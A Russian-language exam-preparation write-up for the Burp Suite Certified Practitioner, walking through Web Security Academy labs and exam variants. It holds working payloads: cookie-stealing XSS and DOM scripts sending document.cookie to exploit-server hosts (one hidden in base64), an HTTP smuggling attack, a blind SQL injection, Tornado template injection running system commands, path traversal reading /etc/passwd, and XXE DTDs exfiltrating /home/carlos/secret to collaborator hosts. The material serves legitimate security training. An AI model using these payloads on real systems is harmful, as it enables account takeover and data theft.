August 2, 2023

BSCP step Three

Предыдущие работы по теме:

https://telegra.ph/BSCP-step-One-07-19

https://telegra.ph/BSCP-step-Two-07-19

https://telegra.ph/BSCP-step-Two-pt2-07-21

Этап 1 — Получение доступа к учётной записи пользователя с низким уровнем привилегий.

Пример 1. Web Cache Poisoning

Forgot Password — принимает имя пользователя или электронную почту. Далее следует страница ввода кода и нового пароля.

Lab

Отправляем GET запрос на домашнюю страницу в Repeater и добавляем параметр для очистки кэша, например:
?cd=qweqwe
Добавим заголовок X-Forwarded-Host с произвольным именем хоста, например example.com.

В данном случае заголовок X-Forwarded-Host используется для динамического создания абсолютного пути импорта файла javascript, который хранится по адресу:

/resources/js/tracking.js
Повторив запрос, мы можем заметить, что ответ содержит заголовок X-Cache: hit, что говорит нам о том что ответ пришёл из кэша.
Переходим на exploit-server и изменяем имя файла, чтобы оно ссылалось на абсолютный путь на сайте. И добавляем в тело следующую полезную нагрузку:
document.location='https://exploit-0ae200c803c7867c80fd5899018e00eb.exploit-server.net/cookie?c='+document.cookie;
Редактируем X-Forwarded-Host в запросе главной страницы:
В журнале exploit-server мы можем увидеть файл cookie пользователя:

Эксплуатация на экзамене

Подставляем cookie чтобы войти в систему как carlos, меняем его email используя файл cookie. Затем войдя в My Account жмём забыли пароль. Отправляем запрос на сброс пароля, получаем письмо на свой exploit-server, и успешно меняем пароль пользователя.

Пример 2. Web Cache Poisoning

Идентификация уязвимости.

В приложении присутствует расширенный поиск, и может показаться что здесь есть SQL Injection. Но на экзамене функциональности могут быть похожи, и вектор может быть другим.

При вводе неправильного имени пользователя возвращается ошибка позволяющая перечислить существующих пользователей.

Запускаем ParamMiner и он находит дополнительные заголовки для использования. В этом случае X-Forwarded-Host поддерживается.

Lab

Отправляем POST-запрос на /forgot-password в Repeater. Обращаем внимание, что заголовок X-Forwarded-Host поддерживается, и мы можем использовать его, чтобы указать динамически сгенерированную ссылку для сброса пароля.
Получаем токен для восстановления пароля:
Используем его для смены пароля пользователя:

Пример 3. HTTP Smuggling

HTTP Smuggling + XSS через user-agent.

Burp Scanner находит запрос HTTP Smuggle который вернет 200. Он и подходит для эксплуатации. Используя этот запрос удаляем лишние заголовки и добавляем полезную нагрузку которую предоставил Burp, изменив URl:

GET /post?postId=4 HTTP/1.1
Host: acd41f9c1e825bd4c0813d180019004c.web-security-academy.net
User-agent: "><script>alert(document.cookie);var x=new XMLHttpRequest();
x.open("GET","https://exploit-ac461fea1ef05b25c0a73d0e017700da.web-security-
academy.net/"+document.cookie);x.send();</script>

А затем отправляем его через Intruder необходимое количество раз, 100 или около того.

Пример 4. XSS

Lab

DETECT

XSS в строке поиска, необходимо проверить каждый тег и обработчик событий через Burp Intruder.

Доступен тэг body
Ищем к нему разрешенный обработчик событий:
В итоге получаем:
<body onresize=>

ALERT

<body onresize="alert``">

Полезная нагрузка для exploit-server:

<iframe src="https://0a8d00b3037de20d82ce0b420016004a.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

Полезная нагрузка встречающаяся на экзамене:

<iframe src="https://acac1f2c1e7f6507c0a71e0c00b100d9.web-security-
academy.net/?query=%27%3Cbody%20onhashchange=%22eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vZXhwbG9pdC0wYTU2MDAxNjAzNzBlMjMzODI2NzBhMTkwMTFiMDAzMC5leHBsb2l0LXNlcnZlci5uZXQvLz9jPScrZG9jdW1lbnQuY29va2ll'))%22%3E//"
onload="this.onload='';this.src+='#XSS'"></iframe>

Пример 5. DOM-based vulnerabilities

Lab

Используем параметр перенаправления.

Решение в лабораторной:

<iframe src=https://0ae300c1040f519280cdbc1e00e90086.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>

Полезная нагрузка для экзамена:

<iframe src=https://0ae300c1040f519280cdbc1e00e90086.web-security-academy.net/onload='this.contentWindow.postMessage("{\"type\":\"redirect\",\"redirectUrl\":\"javascript:window.location=%22https://exploit-0a6100240492516f8041bbaf01e700d5.exploit-server.net/?c=%22%2bdocument.cookie\"}","*")'>

Этап 2 — Повышение привилегий до уровня администратора.

Пример 1. SQL Injection

Разбор похожей уязвимости встречался в предыдущей статье.

Lab

Полезная нагрузка для экзамена:
^'))SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THE
N+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users—

Пример 2. Broken Access Control

Lab

Отправляем запрос на смену email в Burp Repeater.
Добавляем в передаваемый json ключ-значение roleid:2
В итоге получаем доступ к админской панели:

Как это выглядит на экзамене

Добавляем roleid и пробуем рандомные числа. Для того чтобы определить количество ролей в приложении. Попробуйте числа больше 200, в моем случае лимитом стало 157.
Отправляем запрос в Intruder и запускаем атаку, от 0 до 157. Таким образом мы сможем понять какая роль даст админский доступ.

Этап 3 — Чтение файла /home/carlos/secret

Пример 1. Server Side Template Injection

Похожая лабораторная

Войдя в аккаунт видим функцию Preferred name:
Перехватываем запрос и редактируем параметр blog-post-author-display
Оставив комментарий на сайте можно заметить что значение полезной нагрузки в никнейме посчиталось:

В данной случае шаблонизатор используемый на сайте - Tornado, можно изучить его документацию чтобы понять как работает эксплойт. Простыми словами, в документации Tornado сказано что синтаксис для выполнения произвольного кода Python выглядит следующим образом:

{% somePython %}

Также в документации можно узнать как импортировать модуль os, который можно использовать для выполнения произвольных системных команд.

Зная это, подобрать полезную нагрзку будет не сложно:

{% import os %}
{{os.system('rm /home/carlos/morale.txt')

Полезная нагрузка для экзамена:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/home/carlos/secret').read() }}

Пример 2. LFI and Directory Traversal

Lab

Открываем прямую ссылку по которой доступна картинка и добавляем полезную нагрузку:
..%252f..%252f..%252fetc/passwd

Пример с экзамена

Используем ссылку на картинку:
GET
/admin/adminimg?imagefile=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd
GET
/admin/adminimg?imagefile=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/proc/self/env

Слово "secret" внесено в черный список - используйте double encode.

Пример 3. File Upload and XXE

Lab

Добавляем полезную нагрузку на свой exploit-server:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://a8j2mna3od26l7b4cqb3b2j40v6muci1.oastify.com/?x=%file;'>">
%eval;
%exfil;
Сохраняем вредоносный файл DTD на своем сервере и копируем ссылку на него.

Для выполнения лабораторной работы используем функцию проверки остатков товара, добавив объект параметра, ссылающийся на вредоносную DTD.

Перехватываем запрос проверки наличия товара и вставляем полезную нагрузку между объявлением XML и элементов stockCheck:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a1d00d303b686dc80cfbc7a01b400c4.exploit-server.net/exploit.dtd"> %xxe; ]>
Выполняем запрос:
Получаем ответ на Collaborator:

Экзамен

File to upload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-acba1f891fe780e3c09f0a9f01d000be.web-
security-academy.net/exploit.dtd"> %xxe; ]>
<users>
<user>
<username>Example1</username>
<email>[email protected]</email>
</user>
<user>
<username>&xxe;</username>
<email>[email protected]</email>
</user>
</users>
Exploit server code:
<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
'http://435nnpyidat3bzow2cb42ig7iyoucj.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;